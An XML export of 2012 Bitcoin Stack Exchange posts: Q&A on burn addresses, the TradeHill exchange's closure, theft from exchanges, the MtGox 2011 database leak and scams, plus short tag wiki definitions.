  <row Id="3777" PostTypeId="1" AcceptedAnswerId="3778" CreationDate="2012-05-23T17:39:50.237" Score="15" ViewCount="3789" Body="&lt;p&gt;Which canonical address is a legitimate address that nobody can claim?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2021-02-27T21:33:33.610" Title="What is the Bitcoin equivalent of /dev/null?" Tags="|address|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3778" PostTypeId="2" ParentId="3777" CreationDate="2012-05-23T18:13:33.647" Score="10" Body="&lt;p&gt;Probably this address would be pretty acceptable - &lt;a href=&quot;http://blockexplorer.com/address/1111111111111111111114oLvT2&quot;&gt;1111111111111111111114oLvT2&lt;/a&gt;. It has a RIPEMD-160 hash of 0000000000000000000000000000000000000000.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-05-23T18:13:33.647" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3779" PostTypeId="2" ParentId="3777" CreationDate="2012-05-23T19:45:19.350" Score="6" Body="&lt;p&gt;There is probably no bitcoin address that nobody can theoretically claim, since so many different private keys (256 bit) map to each bitcoin address (160 bit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has &lt;a href=&quot;https://bitcointalk.org/index.php?topic=26539.msg332538#msg332538&quot;&gt;been proposed&lt;/a&gt; that &lt;a href=&quot;http://blockexplorer.com/address/1BitcoinEaterAddressDontSendf59kuE&quot;&gt;1BitcoinEaterAddressDontSendf59kuE&lt;/a&gt; should be used to destroy unwanted bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-05-24T02:45:56.017" LastActivityDate="2012-05-24T02:45:56.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3780" PostTypeId="1" AcceptedAnswerId="3874" CreationDate="2012-05-23T23:15:28.763" Score="6" ViewCount="422" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/TradeHill&quot; rel=&quot;nofollow&quot;&gt;Tradehill&lt;/a&gt; used to be an important Bitcoin exchange, but it was &lt;a href=&quot;http://tradehillblog.com/2012/02/13/tradehill-suspending-trading-and-returning-client-funds/&quot; rel=&quot;nofollow&quot;&gt;closed earlier this year&lt;/a&gt; due to losing a lot of money to their payment processor. What is the full story behind Tradehill?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="575" LastEditDate="2012-05-30T10:54:45.450" LastActivityDate="2012-05-30T23:18:58.243" Title="What is the story behind Tradehill?" Tags="|exchanges|websites|history|payment|tradehill|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3781" PostTypeId="1" AcceptedAnswerId="3824" CreationDate="2012-05-23T23:20:53.373" Score="4" ViewCount="266" Body="&lt;p&gt;There have been &lt;a href=&quot;https://bitcoin.stackexchange.com/a/3719/323&quot;&gt;a number of cases of thefts or losses of Bitcoins from a few Bitocoin exchanges&lt;/a&gt;, but has there ever been a case of traditional currency being stolen or lost by an exchange?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2012-05-24T07:56:29.147" Title="Have there been cases of traditional money theft from Bitcoin exchanges?" Tags="|exchanges|history|theft|loss|money|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3782" PostTypeId="2" ParentId="3781" CreationDate="2012-05-23T23:58:14.760" Score="-1" Body="&lt;p&gt;Sure. Payments in traditional currencies are fraudulently made and/or fraudulently reversed all the time. &#xA;This is effectively theft of that currency from the exchange.&lt;/p&gt;&#xA;" OwnerUserId="1411" LastActivityDate="2012-05-23T23:58:14.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3783" PostTypeId="5" CreationDate="2012-05-24T00:45:38.803" Score="0" Body="&lt;p&gt;Questions tagged &quot;history&quot; address the past of Bitcoin and related services.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T00:45:38.803" LastActivityDate="2012-05-24T00:45:38.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3784" PostTypeId="4" CreationDate="2012-05-24T00:45:38.803" Score="0" Body="Related to the history of Bitcoin" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T00:45:38.803" LastActivityDate="2012-05-24T00:45:38.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3785" PostTypeId="5" CreationDate="2012-05-24T00:48:03.793" Score="0" Body="&lt;p&gt;The Bitcoin Core JSON-RPC interface contains many commands that allow users to interact with the wallet and the node. Users can get addresses, send money, and get information about transactions and the blockchain. The JSON-RPC interface uses the &lt;a href=&quot;http://www.jsonrpc.org/specification_v1&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSON-RPC 1.0 specification&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="48884" LastEditDate="2017-10-20T02:26:50.527" LastActivityDate="2017-10-20T02:26:50.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3786" PostTypeId="4" CreationDate="2012-05-24T00:48:03.793" Score="0" Body="A remote-procedure-call (RPC) interface provided by the Bitcoin Core wallet and it's companion software bitcoind. This RPC interface uses the Javascript Object Notation (JSON) serialization format for data and allows other software programs to interact with Bitcoin-Core." OwnerUserId="323" LastEditorUserId="13866" LastEditDate="2023-05-11T13:43:37.197" LastActivityDate="2023-05-11T13:43:37.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3787" PostTypeId="5" CreationDate="2012-05-24T00:58:15.217" Score="0" Body="&lt;p&gt;Questions tagged &quot;isp&quot; relate to internet service providers.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T00:58:15.217" LastActivityDate="2012-05-24T00:58:15.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3788" PostTypeId="4" CreationDate="2012-05-24T00:58:15.217" Score="0" Body="Internet service providers" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T00:58:15.217" LastActivityDate="2012-05-24T00:58:15.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3789" PostTypeId="5" CreationDate="2012-05-24T00:59:22.827" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Blocks&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Blocks&lt;/a&gt; are a data structure which contains transactions. Blocks are created by miners and contain a reference to the previous block forming the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="48884" LastEditDate="2017-10-20T02:55:26.003" LastActivityDate="2017-10-20T02:55:26.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3790" PostTypeId="4" CreationDate="2012-05-24T00:59:22.827" Score="0" Body="The components of the blockchain and a data structure that collects transactions." OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2022-06-04T18:40:47.337" LastActivityDate="2022-06-04T18:40:47.337" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3791" PostTypeId="5" CreationDate="2012-05-24T01:01:04.260" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork&quot; rel=&quot;nofollow&quot;&gt;Getwork&lt;/a&gt; is an RPC method used by a miner to get hashing work to try to solve.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:01:04.260" LastActivityDate="2012-05-24T01:01:04.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3792" PostTypeId="4" CreationDate="2012-05-24T01:01:04.260" Score="0" Body="Refering to the getwork protocol used by bitcoind." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:01:04.260" LastActivityDate="2012-05-24T01:01:04.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3793" PostTypeId="2" ParentId="3781" CreationDate="2012-05-24T01:01:25.403" Score="4" Body="&lt;p&gt;This much less likely for a number of reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Banks have advanced, robust and well-tested anti-fraud infrastructure, making such thefts much more likely to be detected.&lt;/li&gt;&#xA;&lt;li&gt;Legally it is much much easier to prosecute for fraud cases in fiat than BTC (I do not know any prosecution over stolen Bitcoins)&lt;/li&gt;&#xA;&lt;li&gt;Fiat transactions are reversible meaning the exchange could easily get its money back&lt;/li&gt;&#xA;&lt;li&gt;Bitcoins are much easier to launder, so thieves are less likely to get caught &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="135" LastActivityDate="2012-05-24T01:01:25.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3794" PostTypeId="5" CreationDate="2012-05-24T01:04:38.313" Score="0" Body="&lt;p&gt;Regarding testing of new features, algorithms, or concepts.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:04:38.313" LastActivityDate="2012-05-24T01:04:38.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3795" PostTypeId="4" CreationDate="2012-05-24T01:04:38.313" Score="0" Body="Regarding testing of new features, algorithms, or concepts." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:04:38.313" LastActivityDate="2012-05-24T01:04:38.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3796" PostTypeId="5" CreationDate="2012-05-24T01:06:03.693" Score="0" Body="&lt;p&gt;An API is an Application Programming Interface offered by a service. They allow developers to write software which interacts with the service in some way. APIs are often used for developers to retrieve information quickly and easily for use in their own software. APIs can also be used to control accounts on a service. In Bitcoin, many APIs are used to retrieve blockchain data, price data, or control web wallets.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="48884" LastEditDate="2017-10-20T02:30:41.037" LastActivityDate="2017-10-20T02:30:41.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3797" PostTypeId="4" CreationDate="2012-05-24T01:06:03.693" Score="0" Body="An API is an Application Programming Interface and services often have APIs available for developers to write software which accesses information offered by the service." OwnerUserId="323" LastEditorUserId="13866" LastEditDate="2023-05-11T13:48:20.347" LastActivityDate="2023-05-11T13:48:20.347" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3798" PostTypeId="5" CreationDate="2012-05-24T01:07:37.950" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_Curve_DSA&quot; rel=&quot;nofollow&quot;&gt;The Elliptic Curve Digital Signature Algorithm&lt;/a&gt; is one of the core algorithms used by Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:07:37.950" LastActivityDate="2012-05-24T01:07:37.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3799" PostTypeId="4" CreationDate="2012-05-24T01:07:37.950" Score="0" Body="The Elliptic Curve Digital Signature Algorithm" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:07:37.950" LastActivityDate="2012-05-24T01:07:37.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3800" PostTypeId="5" CreationDate="2012-05-24T01:10:04.907" Score="0" Body="&lt;p&gt;SHA-256 is a 256-bit variant of the &lt;a href=&quot;http://en.wikipedia.org/wiki/SHA-2&quot; rel=&quot;nofollow&quot;&gt;SHA-2&lt;/a&gt; algorithm, that is used heavily in Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:10:04.907" LastActivityDate="2012-05-24T01:10:04.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3801" PostTypeId="4" CreationDate="2012-05-24T01:10:04.907" Score="0" Body="A 256-bit variant of Secure Hash Algorithm 2" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:10:04.907" LastActivityDate="2012-05-24T01:10:04.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3802" PostTypeId="5" CreationDate="2012-05-24T01:11:31.720" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Domain_Name_System&quot; rel=&quot;nofollow&quot;&gt;The Domain Name System&lt;/a&gt; is a hierarchical distributed naming system for computers, services, or any resource connected to the Internet or a private network. It associates various information with domain names assigned to each of the participating entities.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:11:31.720" LastActivityDate="2012-05-24T01:11:31.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3803" PostTypeId="4" CreationDate="2012-05-24T01:11:31.720" Score="0" Body="The Domain Name System" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:11:31.720" LastActivityDate="2012-05-24T01:11:31.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3804" PostTypeId="5" CreationDate="2012-05-24T01:14:03.433" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=28967.0&quot; rel=&quot;nofollow&quot;&gt;The Big A Miner Thing&lt;/a&gt; is a custom linux designed specifically for dedicated mining rigs. &lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:14:03.433" LastActivityDate="2012-05-24T01:14:03.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3805" PostTypeId="4" CreationDate="2012-05-24T01:14:03.433" Score="0" Body="The Big A Miner Thing" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:14:03.433" LastActivityDate="2012-05-24T01:14:03.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3806" PostTypeId="5" CreationDate="2012-05-24T01:15:02.013" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol&quot; rel=&quot;nofollow&quot;&gt;The Hypertext Transfer Protocol&lt;/a&gt; is an application protocol for distributed, collaborative, hypermedia information systems.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:15:02.013" LastActivityDate="2012-05-24T01:15:02.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3807" PostTypeId="4" CreationDate="2012-05-24T01:15:02.013" Score="0" Body="Hypertext Transfer Protocol" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:15:02.013" LastActivityDate="2012-05-24T01:15:02.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3808" PostTypeId="5" CreationDate="2012-05-24T01:17:10.137" Score="0" Body="&lt;p&gt;A pool operators (sometimes called poolops) are owners of mining pools.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:17:10.137" LastActivityDate="2012-05-24T01:17:10.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3809" PostTypeId="4" CreationDate="2012-05-24T01:17:10.137" Score="0" Body="Owners of mining pools." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:17:10.137" LastActivityDate="2012-05-24T01:17:10.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3810" PostTypeId="5" CreationDate="2012-05-24T01:19:17.123" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Java_%28programming_language%29&quot; rel=&quot;nofollow&quot;&gt;Java&lt;/a&gt; is a programming language originally developed by James Gosling at Sun Microsystems and released in 1995 as a core component of Sun Microsystems' Java platform.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:19:17.123" LastActivityDate="2012-05-24T01:19:17.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3811" PostTypeId="4" CreationDate="2012-05-24T01:19:17.123" Score="0" Body="Java is a programming language." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:19:17.123" LastActivityDate="2012-05-24T01:19:17.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3812" PostTypeId="5" CreationDate="2012-05-24T01:21:33.113" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Internet_Protocol&quot; rel=&quot;nofollow&quot;&gt;The Internet Protocol&lt;/a&gt; is the principal communications protocol used for relaying datagrams across an internetwork using the Internet Protocol Suite. &lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:21:33.113" LastActivityDate="2012-05-24T01:21:33.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3813" PostTypeId="4" CreationDate="2012-05-24T01:21:33.113" Score="0" Body="The Internet Protocol" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:21:33.113" LastActivityDate="2012-05-24T01:21:33.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3814" PostTypeId="5" CreationDate="2012-05-24T01:24:33.357" Score="0" Body="&lt;p&gt;A &lt;a href=&quot;http://en.wikipedia.org/wiki/Internet_bot&quot; rel=&quot;nofollow&quot;&gt;bot&lt;/a&gt; is a program that performs automated tasks on the internet.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:24:33.357" LastActivityDate="2012-05-24T01:24:33.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3815" PostTypeId="4" CreationDate="2012-05-24T01:24:33.357" Score="0" Body="A program performing automated tasks." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:24:33.357" LastActivityDate="2012-05-24T01:24:33.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3816" PostTypeId="5" CreationDate="2012-05-24T01:25:16.680" Score="0" Body="&lt;p&gt;Relating to &lt;a href=&quot;https://en.bitcoin.it/wiki/TradeHill&quot; rel=&quot;nofollow&quot;&gt;TradeHill&lt;/a&gt; Bitcoin exchange.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:25:16.680" LastActivityDate="2012-05-24T01:25:16.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3817" PostTypeId="4" CreationDate="2012-05-24T01:25:16.680" Score="0" Body="Relating to TradeHill Bitcoin exchange" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:25:16.680" LastActivityDate="2012-05-24T01:25:16.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3818" PostTypeId="5" CreationDate="2012-05-24T01:25:41.843" Score="0" Body="&lt;p&gt;Relating to purchasing Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:25:41.843" LastActivityDate="2012-05-24T01:25:41.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3819" PostTypeId="4" CreationDate="2012-05-24T01:25:41.843" Score="0" Body="The purchase of Bitcoins. Typically by the exchange of another currency." OwnerUserId="323" LastEditorUserId="13866" LastEditDate="2023-05-11T15:01:51.667" LastActivityDate="2023-05-11T15:01:51.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3820" PostTypeId="5" CreationDate="2012-05-24T01:26:53.200" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Money_laundering&quot; rel=&quot;nofollow&quot;&gt;Money laundering&lt;/a&gt; refers to the process of concealing the source of legally, illegally, and grey area obtained monies.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:26:53.200" LastActivityDate="2012-05-24T01:26:53.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3821" PostTypeId="4" CreationDate="2012-05-24T01:26:53.200" Score="0" Body="Anti-money laundering" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-24T01:26:53.200" LastActivityDate="2012-05-24T01:26:53.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3822" PostTypeId="1" CreationDate="2012-05-24T02:16:08.243" Score="20" ViewCount="18958" Body="&lt;p&gt;Bitcoin's taking a lot of space on my C drive, and I would like to move it to another drive. I've figured out to do it using symbolic links, but the problem is that my Bitcoin client is currently synchronizing with the network. Is there a way to pause it, so I can move the data and then go back to synchronizing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My C drive's almost running out of space.&lt;/p&gt;&#xA;" OwnerDisplayName="user1412" LastEditorUserId="1405" LastEditDate="2014-08-28T00:13:21.503" LastActivityDate="2016-12-17T12:19:18.600" Title="Moving the Bitcoin folder from AppData" Tags="|client|wallet|network|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3823" PostTypeId="2" ParentId="3822" CreationDate="2012-05-24T03:56:08.833" Score="3" Body="&lt;p&gt;Just shut the client down, move the files, and then start it up again. It will take about a minute or so to figure out where it left off, and then it will resume from there.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-05-24T03:56:08.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3824" PostTypeId="2" ParentId="3781" CreationDate="2012-05-24T07:56:29.147" Score="3" Body="&lt;p&gt;It is unlikely you'ld find an exchange that hasn't lost funds due to theft.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mt. Gox, before Tibanne bought it, used to accept PayPal for payment.  It was fraudulent PayPal transactions that assisted in driving the exchange rate from $0.06 per BTC (yes, that is correct) in October, 2010 &lt;a href=&quot;http://bitcoincharts.com/charts/mtgoxUSD#rg60zczsg2010-10-01zeg2010-10-14ztgSzm1g10zm2g25&quot; rel=&quot;nofollow&quot;&gt;to a level twice that&lt;/a&gt; in about two days.  PayPal closed the account and froze the funds, but the thief had withdrawn bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitcoinGateway (now defunct) was the next up and experienced some fraudulent credit card charges (though their credit card merchant account got yanked once the it was figured out what the term &quot;digital goods&quot; really meant.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it was &lt;a href=&quot;http://www.bitcoinmoney.com/post/5086167006&quot; rel=&quot;nofollow&quot;&gt;CoinPal's turn&lt;/a&gt; in which they battled a hack that made it appear the charge was successful, and bitcoins were paid out.  Later, fraudulent charges were experienced but were maintained at manageable levels -- before PayPal closed their account and froze the funds, causing the service to shut down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some believe that Dwolla's actions against TradeHill (now defunct) were theft of dollars, but that was simply an accounting action where numbers for TradeHill's account with Dwolla were updated and there was not a hacking into TradeHill's systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin7 (now defunct) claimed to have had to deal with a stolen bank funds at one time, I believe.  I don't remember the details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even recently, BitPiggy, for instance, has suspended service due to their bank feezing funds after stolen monies were sent to the exchange.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-05-24T07:56:29.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3828" PostTypeId="1" CreationDate="2012-05-24T14:37:30.373" Score="2" ViewCount="1663" Body="&lt;p&gt;What user data has been leaked from MtGox's database during the June 2011 hack? Is the database still available for download anywhere, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=19576.0&quot; rel=&quot;nofollow&quot;&gt;like it was almost a year ago&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2014-09-14T20:06:46.650" LastActivityDate="2014-09-14T20:06:46.650" Title="What user data has been leaked from MtGox's database during June 2011 hack?" Tags="|security|mtgox|hacking|database|user-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3829" PostTypeId="2" ParentId="3754" CreationDate="2012-05-24T17:21:27.813" Score="5" Body="&lt;p&gt;I guess you are referring to &lt;a href=&quot;https://bitcointalk.org/?topic=3878.0&quot;&gt;GUIminer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also recommend looking at the excellent &lt;a href=&quot;http://bitminter.com&quot;&gt;BitMinter&lt;/a&gt; miner, which has a nice GUI and runs great on Mac OS X. I should probably mention that I made it. ;)&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-05-24T17:21:27.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3830" PostTypeId="5" CreationDate="2012-05-24T18:13:52.890" Score="0" Body="&lt;p&gt;Bitcoin-Qt is an MIT-licenced Qt&amp;nbsp;4 GUI application for the original Bitcoin codebase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially designed by John Smith, it is now maintained by the developers of the original Bitcoin client, which it has been bundled in since version 0.5.&lt;/p&gt;&#xA;" OwnerUserId="1405" LastEditorUserId="1405" LastEditDate="2013-12-26T14:14:44.067" LastActivityDate="2013-12-26T14:14:44.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3831" PostTypeId="4" CreationDate="2012-05-24T18:13:52.890" Score="0" Body="Bitcoin-Qt is an MIT-licenced Qt 4 GUI application for the original Bitcoin codebase." OwnerUserId="1304" LastEditorUserId="1405" LastEditDate="2013-12-26T16:07:46.097" LastActivityDate="2013-12-26T16:07:46.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3832" PostTypeId="1" AcceptedAnswerId="3842" CreationDate="2012-05-24T18:28:43.327" Score="2" ViewCount="1567" Body="&lt;p&gt;I've been using Bitcoin-Qt (now 0.6.2) for two months now with no problems. Now its icon is missing from my top edge panel (Gnome Desktop, Linux Mint 64 bit). How do I get it back? Or is there any other way to open the GUI window?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Restarting the system doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to Linux (used Windows before, but used bitcoin on Linux only).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin-qt client is running as I can see the process in System Monitor and also the log file keeps updating. (I don't see any apparent errors in the log.) The bitcoin-qt process starts automatically on system restart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to start bitcoin-qt, I get the message that it can't obtain a lock and that it is probably already running (which it is). The .lock file (0 bytes) is present in ~/.bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I can do is I can stop the bitcoin-qt process (using System Monitor) and then start it manually and then everything is fine. But after restarting the system, the problem is back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Should I post more info (which?)? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1304" LastEditorUserId="1304" LastEditDate="2012-05-24T20:37:42.260" LastActivityDate="2012-05-25T13:08:35.347" Title="Bitcoin-Qt icon not showing in Top Edge Panel (Linux Mint)" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3833" PostTypeId="2" ParentId="3828" CreationDate="2012-05-24T18:35:40.180" Score="3" Body="&lt;p&gt;It was details of 61016 user accounts as a CSV file with fields UserID,Username,Email,Password.  The passwords are hashed, and most of them salted too, but some (the oldest) are simple md5 hashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just tried searching google for it and was unsuccessful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a copy, and could make it available for download but don't know if that would be legal.  I'm guessing not.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-05-24T18:35:40.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3834" PostTypeId="2" ParentId="286" CreationDate="2012-05-24T18:41:14.607" Score="0" Body="&lt;p&gt;Use the right tool for the job: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Elance, Freelancer, oDesk, Zaarly, Taskrabbit, Peddl, Craiglist, eBay, etc. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then exchange those proceeds into bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At some point those might offer bitcoins for cashout, particularly those with an international worker base.  But for now, take the (relatively) higher rates paid by these sites and do the conversion to bitcoin yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also read:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.ogrr.com/viewtopic.php?f=26&amp;amp;t=1424&quot; rel=&quot;nofollow&quot;&gt;https://www.ogrr.com/viewtopic.php?f=26&amp;amp;t=1424&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditDate="2012-05-24T18:47:45.393" LastActivityDate="2012-05-24T18:47:45.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3835" PostTypeId="1" AcceptedAnswerId="3855" CreationDate="2012-05-24T20:12:14.850" Score="15" ViewCount="870" Body="&lt;p&gt;Bitcoins can be easily used to scam people out of their money due to the inability to perform charge-backs. What are the most notable cases of Bitcoin scams that are known?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2020-03-04T08:44:56.683" Title="What are the most notable cases of Bitcoin scams?" Tags="|trust|theft|money|fraud|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
